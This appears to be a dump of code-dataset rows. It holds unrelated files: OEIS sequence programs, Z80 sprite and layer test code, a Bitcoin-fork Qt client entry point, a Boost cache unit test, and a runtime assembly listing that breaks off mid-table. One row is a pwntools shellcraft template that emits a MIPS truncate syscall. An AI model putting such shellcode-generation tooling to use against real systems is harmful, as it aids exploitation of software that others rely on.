text
stringlengths
1
1.05M
; A118137: Sum of decimal digits of two successive natural numbers. ; 1,3,5,7,9,11,13,15,17,10,3,5,7,9,11,13,15,17,19,12,5,7,9,11,13,15,17,19,21,14,7,9,11,13,15,17,19,21,23,16,9,11,13,15,17,19,21,23,25,18,11,13,15,17,19,21,23,25,27,20,13,15,17,19,21,23,25,27,29,22,15,17,19,21,23,25,27,29,31,24,17,19,21,23,25,27,29,31,33,26,19,21,23,25,27,29,31,33,35,19 seq $0,127421 ; Numbers whose decimal expansion is a concatenation of 2 consecutive increasing nonnegative numbers. seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n).
; A158765: a(n) = 76*n^2 - 1. ; Submitted by Christian Krause ; 75,303,683,1215,1899,2735,3723,4863,6155,7599,9195,10943,12843,14895,17099,19455,21963,24623,27435,30399,33515,36783,40203,43775,47499,51375,55403,59583,63915,68399,73035,77823,82763,87855,93099,98495,104043,109743,115595,121599,127755,134063,140523,147135,153899,160815,167883,175103,182475,189999,197675,205503,213483,221615,229899,238335,246923,255663,264555,273599,282795,292143,301643,311295,321099,331055,341163,351423,361835,372399,383115,393983,405003,416175,427499,438975,450603,462383 add $0,1 pow $0,2 mul $0,76 sub $0,1
; Level2Order.asm zeusemulate "128K" zoLogicOperatorsHighPri = false zoSupportStringEscapes = false Zeus_PC = Start BootParaBase equ $4000 ; Locate ParaSys full stave in the screen to save memory Stack equ $FFFF optionsize 12 Order optionlist 15, -15, "Order (left is topmost)","SLU","LSU","SUL","LUS","USL","ULS" org $C000 Start: s: ; Enables you to type cs in ParaSys to call Start di ld sp, Stack ld a, $BE ld i, a im 2 call BootTestSetup ; Setup ParaSys remote debugger ; Test code starts di Border(0) ; Black Fill($4000, $1800, $AA) ; Fill ULA pixels with vertical stripes Fill($5800, $1B00, $59) ; Set ULA attrs to bright blue/magenta nextreg $14, $E3 ; Set global transparency to bright magenta nextreg $74, $00 ; Set transparency fallback to black ; Garry Lancaster: The default value for bright magenta ; in the ULA palette is actually $E7, not $E3. This was done ; to ensure existing Spectrum software doesn't display ; incorrectly (ie transparent where it shouldn't be) ; if using bright magenta. nextreg $43, $00 ; First palettes, autoincrement, edit ULA palette nextreg $40, $1B ; Choose Bright magenta background index nextreg $41, $E3 ; Redefine to global transparency nextreg $50, 24 ; MMU page bottom 48K to layer 2 nextreg $51, 25 nextreg $52, 26 nextreg $53, 27 nextreg $54, 28 nextreg $55, 29 nextreg $12, 28 ; Set layer 2 page to 28 Fill($0000, $4000, $C0) ; Fill layer 2 top 1/3rd with yellow %111 111 00 $FC Fill($4000, $4000, $E3) ; Fill layer 2 middle 1/3rd with transparent %111 000 11 $E3 Fill($8000, $4000, $1C) ; Fill layer 2 bottom 1/3rd with green %000 111 00 $1C PortOut($123B, $02) ; Set layer 2 visible and disable write paging //nextreg $50, $FF ; MMU page ROM back into to $0000-1FFF Value=(Order*4)+3 nextreg $15, Value ; Enable sprites, over border, dynamic order ; nextreg $15, %0 00 000 1 1 ; Enable sprites, over border, set SLU ; nextreg $15, %0 00 001 1 1 ; Enable sprites, over border, set LSU ; nextreg $15, %0 00 010 1 1 ; Enable sprites, over border, set SUL ; nextreg $15, %0 00 011 1 1 ; Enable sprites, over border, set LUS ; nextreg $15, %0 00 100 1 1 ; Enable sprites, over border, set USL ; nextreg $15, %0 00 101 1 1 ; Enable sprites, over border, set ULS SetSpritePattern(TestSprite, 0, 0) ; Set test sprite pattern NextSprite(0, 32, 48, 0, false, false, false, true, 0) ; Y=48 is in the top 1/3rd NextSprite(1, 32, 64, 0, false, false, false, true, 0) ; Y=64 is in the middle 1/3rd nextreg $50, 255 ; MMU page bottom 48K back nextreg $51, 255 nextreg $52, 10 nextreg $53, 11 nextreg $54, 4 nextreg $55, 5 ei ; Test code ends Loop: halt call BootTest ; Check for ParaSys commands every frame jp Loop TestSprite: db $E3, $E3, $E3, $E0, $E1, $E0, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $1D, $19, $35, $19, $1D, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $C1, $C1, $C1, $C1, $C1, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E3, $E0, $E8, $E0, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $C1, $E0, $FF, $E1, $C5, $E1, $FF, $E0, $C1, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $F5, $E0, $E0, $DF, $BF, $DF, $E0, $E0, $F5, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $F9, $E3, $E0, $E0, $FF, $E0, $E0, $E3, $F9, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $FC, $E3, $E3, $C0, $E0, $C0, $E3, $E3, $FC, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E3, $C0, $E0, $C0, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E1, $E1, $E3, $E1, $E1, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $C4, $C4, $E3, $C4, $C4, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $FD, $FC, $F5, $E3, $F5, $FC, $FC, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; db $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3, $E3; Border macro(Colour) if Colour=0 xor a else ld a, Colour endif out ($FE), a mend Fill macro(SourceAddr, Size, Value) ld a, Value ld hl, SourceAddr ld (hl), a ld de, SourceAddr+1 ld bc, Size-1 ldir mend PortOut macro(Port, Value) ld bc, Port ld a, Value out (c), a mend SetSpritePattern macro (Address, NextPatternNo, DataPatternNo) ld hl, Address+(DataPatternNo*256) ld a, NextPatternNo call WriteSpritePattern mend WriteSpritePattern: ld bc, $303B ; Set the sprite index out (c), a ; (0 to 63) ld a, 0 ; Send 256 pixel bytes (16*16) ld d, 0 ; Counter ld bc, $5B WriteSpritePatternLoop: ld e, (hl) inc hl out (c), e dec d jr nz WriteSpritePatternLoop ret NextSprite macro(ID, u16X, u8Y, PaletteOffset, bMirrorX, bMirrorY, bRotate, bVisible, Pattern) ; Port $303B, if written, defines the sprite slot to be configured by ports $57 and $5B, ; and also initializes the address of the palette. ; Port $57 is write-only and is used to send the attributes of the selected sprite slot, ; being the address is auto-incremented each writing and after sending the 4 bytes of ; attributes the address points to the next sprite. The description of each byte follows below: ; 1st: X position (bits 7-0). ; 2nd: Y position (0-255). ; 3rd: bits 7-4 is palette offset, bit 3 is X mirror, bit 2 is Y mirror, ; bit 1 is rotate flag and bit 0 is X MSB. ; 4th: bit 7 is visible flag, bit 6 is reserved, bits 5-0 is Name (pattern index, 0-63). B1 = low(u16X+32); B2 = (u8Y+32) and %11111111 B3a = (PaletteOffset and %1111) shl 4 ; OOOOxxxx B3b = (bMirrorX and %1) shl 3 ; xxxxXxxx B3c = (bMirrorY and %1) shl 2 ; xxxxxYxx B3d = (bRotate and %1) shl 1 ; xxxxxxRx B3e = (((u16X+32) and %1 00000000) shr 8) and %1; xxxxxxxM B3 = B3a+B3b+B3c+B3d+B3e ; OOOOXYRM B4a = (bVisible and %1) shl 7 ; Vxxxxxxx B4b = Pattern and %111111 ; xxPPPPPP B4 = B4a+B4b ; VxPPPPPP ld a, ID and %111111 ld hl, B1+(B2*256) ld de, B3+(B4*256) call WriteNextSprite mend WriteNextSprite: ld bc, $303B ; Set the sprite index (port $303B) out (c), a ; (0 to 63) ld bc, $57 ; Send the sprite slot attributes (port $57) out (c), l out (c), h out (c), e out (c), d ret include "ParaBootStub.inc" ; ParaSys remote debugger slave stub End: org $BE00 Begin: loop 257 db $BF lend org $BFBF ei reti output_z80 "Level2Order.z80", $0000, Start ; Create a 128K snapshot output_sna "Level2Order.sna", $0000, Start ; Create a 128K snapshot output_para Begin, End-Begin, Start ; Send this code to ParaSys
// Copyright (c) 2011-2014 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_CONFIG_H) #include "config/bitcoin-config.h" #endif #include "bitcoingui.h" #include "clientmodel.h" #include "guiconstants.h" #include "guiutil.h" #include "intro.h" #include "networkstyle.h" #include "optionsmodel.h" #include "splashscreen.h" #include "utilitydialog.h" #include "winshutdownmonitor.h" #ifdef ENABLE_WALLET #include "paymentserver.h" #include "walletmodel.h" #endif #include "init.h" #include "main.h" #include "rpcserver.h" #include "ui_interface.h" #include "util.h" #ifdef ENABLE_WALLET #include "wallet.h" #endif #include <stdint.h> #include <boost/filesystem/operations.hpp> #include <boost/thread.hpp> #include <QApplication> #include <QDebug> #include <QLibraryInfo> #include <QLocale> #include <QMessageBox> #include <QSettings> #include <QThread> #include <QTimer> #include <QTranslator> #if defined(QT_STATICPLUGIN) #include <QtPlugin> #if QT_VERSION < 0x050000 Q_IMPORT_PLUGIN(qcncodecs) Q_IMPORT_PLUGIN(qjpcodecs) Q_IMPORT_PLUGIN(qtwcodecs) Q_IMPORT_PLUGIN(qkrcodecs) Q_IMPORT_PLUGIN(qtaccessiblewidgets) #else Q_IMPORT_PLUGIN(AccessibleFactory) #if defined(QT_QPA_PLATFORM_XCB) Q_IMPORT_PLUGIN(QXcbIntegrationPlugin); #elif defined(QT_QPA_PLATFORM_WINDOWS) Q_IMPORT_PLUGIN(QWindowsIntegrationPlugin); #elif defined(QT_QPA_PLATFORM_COCOA) Q_IMPORT_PLUGIN(QCocoaIntegrationPlugin); #endif #endif #endif #if QT_VERSION < 0x050000 #include <QTextCodec> #endif // Declare meta types used for QMetaObject::invokeMethod Q_DECLARE_METATYPE(bool*) Q_DECLARE_METATYPE(CAmount) static void InitMessage(const std::string &message) { LogPrintf("init message: %s\n", message); } /* Translate string to current locale using Qt. */ static std::string Translate(const char* psz) { return QCoreApplication::translate("bitcoin-core", psz).toStdString(); } static QString GetLangTerritory() { QSettings settings; // Get desired locale (e.g. "de_DE") // 1) System default language QString lang_territory = QLocale::system().name(); // 2) Language from QSettings QString lang_territory_qsettings = settings.value("language", "").toString(); if(!lang_territory_qsettings.isEmpty()) lang_territory = lang_territory_qsettings; // 3) -lang command line argument lang_territory = QString::fromStdString(GetArg("-lang", lang_territory.toStdString())); return lang_territory; } /** Set up translations */ static void initTranslations(QTranslator &qtTranslatorBase, QTranslator &qtTranslator, QTranslator &translatorBase, QTranslator &translator) { // Remove old translators QApplication::removeTranslator(&qtTranslatorBase); QApplication::removeTranslator(&qtTranslator); QApplication::removeTranslator(&translatorBase); QApplication::removeTranslator(&translator); // Get desired locale (e.g. "de_DE") // 1) System default language QString lang_territory = GetLangTerritory(); // Convert to "de" only by truncating "_DE" QString lang = lang_territory; lang.truncate(lang_territory.lastIndexOf('_')); // Load language files for configured locale: // - First load the translator for the base language, without territory // - Then load the more specific locale translator // Load e.g. qt_de.qm if (qtTranslatorBase.load("qt_" + lang, QLibraryInfo::location(QLibraryInfo::TranslationsPath))) QApplication::installTranslator(&qtTranslatorBase); // Load e.g. qt_de_DE.qm if (qtTranslator.load("qt_" + lang_territory, QLibraryInfo::location(QLibraryInfo::TranslationsPath))) QApplication::installTranslator(&qtTranslator); // Load e.g. bitcoin_de.qm (shortcut "de" needs to be defined in bitcoin.qrc) if (translatorBase.load(lang, ":/translations/")) QApplication::installTranslator(&translatorBase); // Load e.g. bitcoin_de_DE.qm (shortcut "de_DE" needs to be defined in bitcoin.qrc) if (translator.load(lang_territory, ":/translations/")) QApplication::installTranslator(&translator); } /* qDebug() message handler --> debug.log */ #if QT_VERSION < 0x050000 void DebugMessageHandler(QtMsgType type, const char *msg) { const char *category = (type == QtDebugMsg) ? "qt" : NULL; LogPrint(category, "GUI: %s\n", msg); } #else void DebugMessageHandler(QtMsgType type, const QMessageLogContext& context, const QString &msg) { Q_UNUSED(context); const char *category = (type == QtDebugMsg) ? "qt" : NULL; LogPrint(category, "GUI: %s\n", msg.toStdString()); } #endif /** Class encapsulating Bitcoin Core startup and shutdown. * Allows running startup and shutdown in a different thread from the UI thread. */ class BitcoinCore: public QObject { Q_OBJECT public: explicit BitcoinCore(); public slots: void initialize(); void shutdown(); signals: void initializeResult(int retval); void shutdownResult(int retval); void runawayException(const QString &message); private: boost::thread_group threadGroup; /// Pass fatal exception message to UI thread void handleRunawayException(std::exception *e); }; /** Main Bitcoin application object */ class BitcoinApplication: public QApplication { Q_OBJECT public: explicit BitcoinApplication(int &argc, char **argv); ~BitcoinApplication(); #ifdef ENABLE_WALLET /// Create payment server void createPaymentServer(); #endif /// Create options model void createOptionsModel(); /// Create main window void createWindow(const NetworkStyle *networkStyle); /// Create splash screen void createSplashScreen(const NetworkStyle *networkStyle); /// Request core initialization void requestInitialize(); /// Request core shutdown void requestShutdown(); /// Get process return value int getReturnValue() { return returnValue; } /// Get window identifier of QMainWindow (BitcoinGUI) WId getMainWinId() const; public slots: void initializeResult(int retval); void shutdownResult(int retval); /// Handle runaway exceptions. Shows a message box with the problem and quits the program. void handleRunawayException(const QString &message); signals: void requestedInitialize(); void requestedShutdown(); void stopThread(); void splashFinished(QWidget *window); private: QThread *coreThread; OptionsModel *optionsModel; ClientModel *clientModel; BitcoinGUI *window; QTimer *pollShutdownTimer; #ifdef ENABLE_WALLET PaymentServer* paymentServer; WalletModel *walletModel; #endif int returnValue; void startThread(); }; #include "bitcoin.moc" BitcoinCore::BitcoinCore(): QObject() { } void BitcoinCore::handleRunawayException(std::exception *e) { PrintExceptionContinue(e, "Runaway exception"); emit runawayException(QString::fromStdString(strMiscWarning)); } void BitcoinCore::initialize() { try { qDebug() << __func__ << ": Running AppInit2 in thread"; int rv = AppInit2(threadGroup); if(rv) { /* Start a dummy RPC thread if no RPC thread is active yet * to handle timeouts. */ StartDummyRPCThread(); } emit initializeResult(rv); } catch (std::exception& e) { handleRunawayException(&e); } catch (...) { handleRunawayException(NULL); } } void BitcoinCore::shutdown() { try { qDebug() << __func__ << ": Running Shutdown in thread"; threadGroup.interrupt_all(); threadGroup.join_all(); Shutdown(); qDebug() << __func__ << ": Shutdown finished"; emit shutdownResult(1); } catch (std::exception& e) { handleRunawayException(&e); } catch (...) { handleRunawayException(NULL); } } BitcoinApplication::BitcoinApplication(int &argc, char **argv): QApplication(argc, argv), coreThread(0), optionsModel(0), clientModel(0), window(0), pollShutdownTimer(0), #ifdef ENABLE_WALLET paymentServer(0), walletModel(0), #endif returnValue(0) { setQuitOnLastWindowClosed(false); } BitcoinApplication::~BitcoinApplication() { if(coreThread) { qDebug() << __func__ << ": Stopping thread"; emit stopThread(); coreThread->wait(); qDebug() << __func__ << ": Stopped thread"; } delete window; window = 0; #ifdef ENABLE_WALLET delete paymentServer; paymentServer = 0; #endif delete optionsModel; optionsModel = 0; } #ifdef ENABLE_WALLET void BitcoinApplication::createPaymentServer() { paymentServer = new PaymentServer(this); } #endif void BitcoinApplication::createOptionsModel() { optionsModel = new OptionsModel(); } void BitcoinApplication::createWindow(const NetworkStyle *networkStyle) { window = new BitcoinGUI(networkStyle, 0); pollShutdownTimer = new QTimer(window); connect(pollShutdownTimer, SIGNAL(timeout()), window, SLOT(detectShutdown())); pollShutdownTimer->start(200); } void BitcoinApplication::createSplashScreen(const NetworkStyle *networkStyle) { SplashScreen *splash = new SplashScreen(0, networkStyle); // We don't hold a direct pointer to the splash screen after creation, so use // Qt::WA_DeleteOnClose to make sure that the window will be deleted eventually. splash->setAttribute(Qt::WA_DeleteOnClose); splash->show(); connect(this, SIGNAL(splashFinished(QWidget*)), splash, SLOT(slotFinish(QWidget*))); } void BitcoinApplication::startThread() { if(coreThread) return; coreThread = new QThread(this); BitcoinCore *executor = new BitcoinCore(); executor->moveToThread(coreThread); /* communication to and from thread */ connect(executor, SIGNAL(initializeResult(int)), this, SLOT(initializeResult(int))); connect(executor, SIGNAL(shutdownResult(int)), this, SLOT(shutdownResult(int))); connect(executor, SIGNAL(runawayException(QString)), this, SLOT(handleRunawayException(QString))); connect(this, SIGNAL(requestedInitialize()), executor, SLOT(initialize())); connect(this, SIGNAL(requestedShutdown()), executor, SLOT(shutdown())); /* make sure executor object is deleted in its own thread */ connect(this, SIGNAL(stopThread()), executor, SLOT(deleteLater())); connect(this, SIGNAL(stopThread()), coreThread, SLOT(quit())); coreThread->start(); } void BitcoinApplication::requestInitialize() { qDebug() << __func__ << ": Requesting initialize"; startThread(); emit requestedInitialize(); } void BitcoinApplication::requestShutdown() { qDebug() << __func__ << ": Requesting shutdown"; startThread(); window->hide(); window->setClientModel(0); pollShutdownTimer->stop(); #ifdef ENABLE_WALLET window->removeAllWallets(); delete walletModel; walletModel = 0; #endif delete clientModel; clientModel = 0; // Show a simple window indicating shutdown status ShutdownWindow::showShutdownWindow(window); // Request shutdown from core thread emit requestedShutdown(); } void BitcoinApplication::initializeResult(int retval) { qDebug() << __func__ << ": Initialization result: " << retval; // Set exit result: 0 if successful, 1 if failure returnValue = retval ? 0 : 1; if(retval) { #ifdef ENABLE_WALLET PaymentServer::LoadRootCAs(); paymentServer->setOptionsModel(optionsModel); #endif clientModel = new ClientModel(optionsModel); window->setClientModel(clientModel); #ifdef ENABLE_WALLET if(pwalletMain) { walletModel = new WalletModel(pwalletMain, optionsModel); window->addWallet(BitcoinGUI::DEFAULT_WALLET, walletModel); window->setCurrentWallet(BitcoinGUI::DEFAULT_WALLET); connect(walletModel, SIGNAL(coinsSent(CWallet*,SendCoinsRecipient,QByteArray)), paymentServer, SLOT(fetchPaymentACK(CWallet*,const SendCoinsRecipient&,QByteArray))); } #endif // If -min option passed, start window minimized. if(GetBoolArg("-min", false)) { window->showMinimized(); } else { window->show(); } emit splashFinished(window); #ifdef ENABLE_WALLET // Now that initialization/startup is done, process any command-line // bitcoin: URIs or payment requests: connect(paymentServer, SIGNAL(receivedPaymentRequest(SendCoinsRecipient)), window, SLOT(handlePaymentRequest(SendCoinsRecipient))); connect(window, SIGNAL(receivedURI(QString)), paymentServer, SLOT(handleURIOrFile(QString))); connect(paymentServer, SIGNAL(message(QString,QString,unsigned int)), window, SLOT(message(QString,QString,unsigned int))); QTimer::singleShot(100, paymentServer, SLOT(uiReady())); #endif } else { quit(); // Exit main loop } } void BitcoinApplication::shutdownResult(int retval) { qDebug() << __func__ << ": Shutdown result: " << retval; quit(); // Exit main loop after shutdown finished } void BitcoinApplication::handleRunawayException(const QString &message) { QMessageBox::critical(0, "Runaway exception", BitcoinGUI::tr("A fatal error occurred. BiYanZu can no longer continue safely and will quit.") + QString("\n\n") + message); ::exit(1); } WId BitcoinApplication::getMainWinId() const { if (!window) return 0; return window->winId(); } #ifndef BITCOIN_QT_TEST int main(int argc, char *argv[]) { SetupEnvironment(); /// 1. Parse command-line options. These take precedence over anything else. // Command-line options take precedence: ParseParameters(argc, argv); // Do not refer to data directory yet, this can be overridden by Intro::pickDataDirectory /// 2. Basic Qt initialization (not dependent on parameters or configuration) #if QT_VERSION < 0x050000 // Internal string conversion is all UTF-8 QTextCodec::setCodecForTr(QTextCodec::codecForName("UTF-8")); QTextCodec::setCodecForCStrings(QTextCodec::codecForTr()); #endif Q_INIT_RESOURCE(bitcoin); Q_INIT_RESOURCE(bitcoin_locale); BitcoinApplication app(argc, argv); #if QT_VERSION > 0x050100 // Generate high-dpi pixmaps QApplication::setAttribute(Qt::AA_UseHighDpiPixmaps); #endif #ifdef Q_OS_MAC QApplication::setAttribute(Qt::AA_DontShowIconsInMenus); #endif // Register meta types used for QMetaObject::invokeMethod qRegisterMetaType< bool* >(); // Need to pass name here as CAmount is a typedef (see http://qt-project.org/doc/qt-5/qmetatype.html#qRegisterMetaType) // IMPORTANT if it is no longer a typedef use the normal variant above qRegisterMetaType< CAmount >("CAmount"); /// 3. Application identification // must be set before OptionsModel is initialized or translations are loaded, // as it is used to locate QSettings QApplication::setOrganizationName(QAPP_ORG_NAME); QApplication::setOrganizationDomain(QAPP_ORG_DOMAIN); QApplication::setApplicationName(QAPP_APP_NAME_DEFAULT); GUIUtil::SubstituteFonts(GetLangTerritory()); /// 4. Initialization of translations, so that intro dialog is in user's language // Now that QSettings are accessible, initialize translations QTranslator qtTranslatorBase, qtTranslator, translatorBase, translator; initTranslations(qtTranslatorBase, qtTranslator, translatorBase, translator); uiInterface.Translate.connect(Translate); // Show help message immediately after parsing command-line options (for "-lang") and setting locale, // but before showing splash screen. if (mapArgs.count("-?") || mapArgs.count("-h") || mapArgs.count("-help") || mapArgs.count("-version")) { HelpMessageDialog help(NULL, mapArgs.count("-version")); help.showOrPrint(); return 1; } /// 5. Now that settings and translations are available, ask user for data directory // User language is set up: pick a data directory Intro::pickDataDirectory(); /// 6. Determine availability of data directory and parse bitcoin.conf /// - Do not call GetDataDir(true) before this step finishes if (!boost::filesystem::is_directory(GetDataDir(false))) { QMessageBox::critical(0, QObject::tr("BiYanZu Core"), QObject::tr("Error: Specified data directory \"%1\" does not exist.").arg(QString::fromStdString(mapArgs["-datadir"]))); return 1; } try { ReadConfigFile(mapArgs, mapMultiArgs); } catch(std::exception &e) { QMessageBox::critical(0, QObject::tr("BiYanZu Core"), QObject::tr("Error: Cannot parse configuration file: %1. Only use key=value syntax.").arg(e.what())); return false; } /// 7. Determine network (and switch to network specific options) // - Do not call Params() before this step // - Do this after parsing the configuration file, as the network can be switched there // - QSettings() will use the new application name after this, resulting in network-specific settings // - Needs to be done before createOptionsModel // Check for -testnet or -regtest parameter (Params() calls are only valid after this clause) if (!SelectParamsFromCommandLine()) { QMessageBox::critical(0, QObject::tr("BiYanZu Core"), QObject::tr("Error: Invalid combination of -regtest and -testnet.")); return 1; } #ifdef ENABLE_WALLET // Parse URIs on command line -- this can affect Params() PaymentServer::ipcParseCommandLine(argc, argv); #endif QScopedPointer<const NetworkStyle> networkStyle(NetworkStyle::instantiate(QString::fromStdString(Params().NetworkIDString()))); assert(!networkStyle.isNull()); // Allow for separate UI settings for testnets QApplication::setApplicationName(networkStyle->getAppName()); // Re-initialize translations after changing application name (language in network-specific settings can be different) initTranslations(qtTranslatorBase, qtTranslator, translatorBase, translator); #ifdef ENABLE_WALLET /// 8. URI IPC sending // - Do this early as we don't want to bother initializing if we are just calling IPC // - Do this *after* setting up the data directory, as the data directory hash is used in the name // of the server. // - Do this after creating app and setting up translations, so errors are // translated properly. if (PaymentServer::ipcSendCommandLine()) exit(0); // Start up the payment server early, too, so impatient users that click on // bitcoin: links repeatedly have their payment requests routed to this process: app.createPaymentServer(); #endif /// 9. Main GUI initialization // Install global event filter that makes sure that long tooltips can be word-wrapped app.installEventFilter(new GUIUtil::ToolTipToRichTextFilter(TOOLTIP_WRAP_THRESHOLD, &app)); #if QT_VERSION < 0x050000 // Install qDebug() message handler to route to debug.log qInstallMsgHandler(DebugMessageHandler); #else #if defined(Q_OS_WIN) // Install global event filter for processing Windows session related Windows messages (WM_QUERYENDSESSION and WM_ENDSESSION) qApp->installNativeEventFilter(new WinShutdownMonitor()); #endif // Install qDebug() message handler to route to debug.log qInstallMessageHandler(DebugMessageHandler); #endif // Load GUI settings from QSettings app.createOptionsModel(); // Subscribe to global signals from core uiInterface.InitMessage.connect(InitMessage); if (GetBoolArg("-splash", true) && !GetBoolArg("-min", false)) app.createSplashScreen(networkStyle.data()); try { app.createWindow(networkStyle.data()); app.requestInitialize(); #if defined(Q_OS_WIN) && QT_VERSION >= 0x050000 WinShutdownMonitor::registerShutdownBlockReason(QObject::tr("BiYanZu Core didn't yet exit safely..."), (HWND)app.getMainWinId()); #endif app.exec(); app.requestShutdown(); app.exec(); } catch (std::exception& e) { PrintExceptionContinue(&e, "Runaway exception"); app.handleRunawayException(QString::fromStdString(strMiscWarning)); } catch (...) { PrintExceptionContinue(NULL, "Runaway exception"); app.handleRunawayException(QString::fromStdString(strMiscWarning)); } return app.getReturnValue(); } #endif // BITCOIN_QT_TEST
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="file, length"/> <%docstring> Invokes the syscall truncate. See 'man 2 truncate' for more information. Arguments: file(char): file length(off_t): length </%docstring> ${syscall('SYS_truncate', file, length)}
; void *tshc_pxy2aaddr(uchar x, uchar y) SECTION code_clib SECTION code_arch PUBLIC tshc_pxy2aaddr_callee EXTERN asm_tshc_pxy2aaddr tshc_pxy2aaddr_callee: pop hl ex (sp),hl jp asm_tshc_pxy2aaddr
#define BOOST_TEST_MODULE #include <boost/test/unit_test.hpp> #include <core/util/test_macros.hpp> #include <string> #include <set> #include <core/storage/fileio/block_cache.hpp> #include <core/storage/fileio/temp_files.hpp> #include <core/random/random.hpp> using namespace turi; #ifndef TC_DISABLE_REMOTEFS struct block_cache_test { public: void test_block_cache() { block_cache cache; cache.init(get_temp_directories()[0] + "/"); size_t num_keys = 1024; size_t num_probes = 4; // for each key, we insert a deterministic sequence of values for (size_t key = 0; key < num_keys; ++key) { std::string value; value.resize(256); for (size_t i = 0;i < 256; ++i) { value[i] = (i + key) % 256; } cache.write(std::to_string(key), value); } random::seed(10001); // check every key, selecting a random sub sequence at each time. for (size_t key = 0; key < num_keys; ++key) { for (size_t nprobes = 0; nprobes < num_probes; ++nprobes) { TS_ASSERT_EQUALS(cache.value_length(std::to_string(key)), 256); // generate a random start-end sequence to read size_t start = random::fast_uniform<size_t>(0, 255); size_t end = random::fast_uniform<size_t>(0, 256); std::string value; auto ret = cache.read(std::to_string(key), value, start, end); // make sure the values we read were valid auto expected_ret = start < end ? end - start : 0; TS_ASSERT_EQUALS(ret, expected_ret); for (size_t i = start; i < end; ++i) { size_t offset = i - start; TS_ASSERT_EQUALS((size_t)(unsigned char)(value[offset]), (i + key) % 256); } } } // check that the cache is operating correctly. // We should have num_key misses (one for new block read) // and for each subsequent read inside the same key, that should be a hit. TS_ASSERT_EQUALS(cache.file_handle_cache_misses(), num_keys); TS_ASSERT_EQUALS(cache.file_handle_cache_hits(), num_keys * (num_probes - 1)); } void test_block_cache_evict() { block_cache cache; cache.init(get_temp_directories()[0] + "/" + "evict_test_"); size_t num_keys = 1024; // for each key, we insert a deterministic sequence of values for (size_t key = 0; key < num_keys; ++key) { std::string value; value.resize(256); for (size_t i = 0;i < 256; ++i) { value[i] = (i + key) % 256; } cache.write(std::to_string(key), value); } std::string value; auto ret = cache.read(std::to_string(0), value, 0, 256); TS_ASSERT_EQUALS(ret, 256); TS_ASSERT_EQUALS(cache.evict_key(std::to_string(0)), true); TS_ASSERT_EQUALS(cache.evict_key(std::to_string(1023)), true); TS_ASSERT_EQUALS(cache.evict_key(std::to_string(0)), false); TS_ASSERT_EQUALS(cache.evict_key(std::to_string(1023)), false); // nonexistant key TS_ASSERT_EQUALS(cache.evict_key(std::to_string(1024)), false); ret = cache.read(std::to_string(0), value, 0, 256); TS_ASSERT_EQUALS(ret, -1); ret = cache.read(std::to_string(1023), value, 0, 256); TS_ASSERT_EQUALS(ret, -1); // all keys are readable for (size_t i = 1; i < 1023; ++i) { ret = cache.read(std::to_string(i), value, 0, 256); TS_ASSERT_EQUALS(ret, 256); } } }; BOOST_FIXTURE_TEST_SUITE(_block_cache_test, block_cache_test) BOOST_AUTO_TEST_CASE(test_block_cache) { block_cache_test::test_block_cache(); } BOOST_AUTO_TEST_CASE(test_block_cache_evict) { block_cache_test::test_block_cache_evict(); } BOOST_AUTO_TEST_SUITE_END() #endif
Label -mem-manager-initialize DLabel $heap-start-ptr DataZ 4 DLabel $heap-after-ptr DataZ 4 DLabel $heap-first-free DataZ 4 DLabel $mmgr-newblock-block DataZ 4 DLabel $mmgr-newblock-size DataZ 4 PushD $heap-memory Duplicate PushD $heap-start-ptr Exchange StoreI PushD $heap-after-ptr Exchange StoreI PushI 0 PushD $heap-first-free Exchange StoreI Jump $$main DLabel $eat-location-zero DataZ 8 DLabel $print-format-integer DataC 37 %% "%d" DataC 100 DataC 0 DLabel $print-format-floating DataC 37 %% "%g" DataC 103 DataC 0 DLabel $print-format-boolean DataC 37 %% "%s" DataC 115 DataC 0 DLabel $print-format-character DataC 37 %% "%c" DataC 99 DataC 0 DLabel $print-format-string DataC 37 %% "%s" DataC 115 DataC 0 DLabel $print-format-tab DataC 9 %% "\t" DataC 0 DLabel $print-format-newline DataC 10 %% "\n" DataC 0 DLabel $print-format-space DataC 32 %% " " DataC 0 DLabel $boolean-true-string DataC 116 %% "true" DataC 114 DataC 117 DataC 101 DataC 0 DLabel $boolean-false-string DataC 102 %% "false" DataC 97 DataC 108 DataC 115 DataC 101 DataC 0 DLabel $dash-string DataC 95 %% "_" DataC 0 DLabel $divide-sign-string DataC 47 %% "/" DataC 0 DLabel $minus-sign-string DataC 45 %% "-" DataC 0 DLabel $open-bracket-string DataC 91 %% "[" DataC 0 DLabel $close-bracket-string DataC 93 %% "]" DataC 0 DLabel $comma-string DataC 44 %% "," DataC 0 DLabel $errors-general-message DataC 82 %% "Runtime error: %s\n" DataC 117 DataC 110 DataC 116 DataC 105 DataC 109 DataC 101 DataC 32 DataC 101 DataC 114 DataC 114 DataC 111 DataC 114 DataC 58 DataC 32 DataC 37 DataC 115 DataC 10 DataC 0 Label $$general-runtime-error PushD $errors-general-message Printf Halt DLabel $errors-int-divide-by-zero DataC 105 %% "integer divide by zero" DataC 110 DataC 116 DataC 101 DataC 103 